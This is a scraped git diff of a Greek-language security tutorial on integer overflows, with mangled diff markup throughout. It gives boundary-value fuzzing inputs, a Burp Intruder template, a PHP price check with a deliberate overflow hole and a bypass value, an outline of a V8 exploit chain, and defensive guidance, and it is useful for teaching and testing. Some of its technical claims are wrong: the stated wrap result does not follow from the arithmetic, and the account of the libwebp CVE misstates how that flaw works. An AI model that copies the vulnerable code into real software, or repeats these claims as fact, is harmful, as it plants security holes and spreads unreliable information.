Αποστέλλετε **ακραίες signed/unsigned τιμές** οπουδήποτε αναμένεται ακέραιος:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -50,8 +49,8 @@
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
Άλλες χρήσιμες μορφές:
|
||||
* Hex (0x100), οκταδική (0377), επιστημονική (1e10), JSON big-int (9999999999999999999).
|
||||
* Πολύ μεγάλες ακολουθίες ψηφίων (>1kB) για να χτυπήσουν προσαρμοσμένους αναλυτές.
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* Πολύ μεγάλες αλυσίδες ψηφίων (>1kB) για να προκαλέσουν σφάλματα σε custom parsers.
|
||||
|
||||
### 3.2 Πρότυπο Burp Intruder
|
||||
```
|
||||
@ -60,17 +59,17 @@ Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 Fuzzing βιβλιοθήκες & runtimes
|
||||
### 3.3 Fuzzing libraries & runtimes
|
||||
|
||||
* **AFL++/Honggfuzz** με libFuzzer harness γύρω από τον parser (π.χ., WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – γραμματικά ευαίσθητο fuzzing μηχανών JavaScript για να χτυπήσει τις ακροτηριασμούς ακεραίων V8/JSC.
|
||||
* **boofuzz** – fuzzing δικτυακού πρωτοκόλλου (WebSocket, HTTP/2) εστιάζοντας στα πεδία μήκους.
|
||||
* **Fuzzilli** – fuzzing με επίγνωση γραμματικής των JavaScript engines για να χτυπήσει integer truncations στο V8/JSC.
|
||||
* **boofuzz** – fuzzing πρωτοκόλλων δικτύου (WebSocket, HTTP/2) με έμφαση σε πεδία μήκους.
|
||||
|
||||
---
|
||||
|
||||
## 4. Πρότυπα εκμετάλλευσης
|
||||
## 4. Μοτίβα εκμετάλλευσης
|
||||
|
||||
### 4.1 Παράκαμψη λογικής στον κωδικό πλευράς διακομιστή (παράδειγμα PHP)
|
||||
### 4.1 Παράκαμψη λογικής σε server-side κώδικα (παράδειγμα PHP)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,26 +78,28 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 Υπερχείλιση σωρού μέσω αποκωδικοποιητή εικόνας (libwebp 0-day)
|
||||
Ο αποκωδικοποιητής WebP χωρίς απώλειες πολλαπλασίασε το πλάτος εικόνας × ύψος × 4 (RGBA) μέσα σε έναν 32-bit int. Ένα κατασκευασμένο αρχείο με διαστάσεις 16384 × 16384 υπερχειλίζει τον πολλαπλασιασμό, εκχωρεί ένα σύντομο buffer και στη συνέχεια γράφει **~1GB** αποσυμπιεσμένων δεδομένων πέρα από τον σωρό – οδηγώντας σε RCE σε κάθε πρόγραμμα περιήγησης βασισμένο σε Chromium πριν από την έκδοση 116.0.5845.187.
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
Ο WebP lossless decoder πολλαπλασίαζε το image width × height × 4 (RGBA) μέσα σε ένα 32-bit int. Ένα crafted αρχείο με διαστάσεις 16384 × 16384 προκαλεί overflow στον πολλαπλασιασμό, δεσμεύει έναν μικρό buffer και στη συνέχεια γράφει **~1GB** αποσυμπιεσμένων δεδομένων πέρα από το heap – οδηγώντας σε RCE σε κάθε Chromium-based browser πριν την 116.0.5845.187.
|
||||
|
||||
### 4.3 Αλυσίδα XSS/RCE βασισμένη σε πρόγραμμα περιήγησης
|
||||
1. **Υπερχείλιση ακέραιου** στο V8 δίνει αυθαίρετη ανάγνωση/γραφή.
|
||||
2. Ξεφύγετε από το sandbox με ένα δεύτερο σφάλμα ή καλέστε εγγενή APIs για να ρίξετε ένα payload.
|
||||
3. Το payload στη συνέχεια εισάγει ένα κακόβουλο σενάριο στο αρχικό πλαίσιο → αποθηκευμένο XSS.
|
||||
### 4.3 Browser-based XSS/RCE chain
|
||||
1. **Integer overflow** στο V8 παρέχει arbitrary read/write.
|
||||
2. Escape the sandbox με δεύτερο bug ή κλήση native APIs για να εγκατασταθεί ένα payload.
|
||||
3. Το payload στη συνέχεια εισάγει ένα κακόβουλο script στο origin context → stored XSS.
|
||||
|
||||
---
|
||||
|
||||
## 5. Κατευθυντήριες γραμμές άμυνας
|
||||
## 5. Οδηγίες άμυνας
|
||||
|
||||
1. **Χρησιμοποιήστε ευρείες τύπους ή ελεγμένη αριθμητική** – π.χ., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Επικυρώστε τα εύρη νωρίς**: απορρίψτε οποιαδήποτε τιμή εκτός του επιχειρηματικού τομέα πριν από την αριθμητική.
|
||||
3. **Ενεργοποιήστε τους απολυμαντές του μεταγλωττιστή**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Υιοθετήστε fuzzing στο CI/CD** – συνδυάστε την ανατροφοδότηση κάλυψης με όρια corpora.
|
||||
5. **Μείνετε ενημερωμένοι** – τα σφάλματα υπερχείλισης ακέραιου σε προγράμματα περιήγησης συχνά όπλιζονται εντός εβδομάδων.
|
||||
1. **Use wide types or checked math** – π.χ. size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Validate ranges early**: απορρίψτε οποιαδήποτε τιμή εκτός του business domain πριν από αριθμητικές πράξεις.
|
||||
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Adopt fuzzing in CI/CD** – συνδυάστε coverage feedback με boundary corpora.
|
||||
5. **Stay patched** – browser integer overflow bugs συχνά weaponised μέσα σε λίγες εβδομάδες.
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
|
Loading…
x
Reference in New Issue
Block a user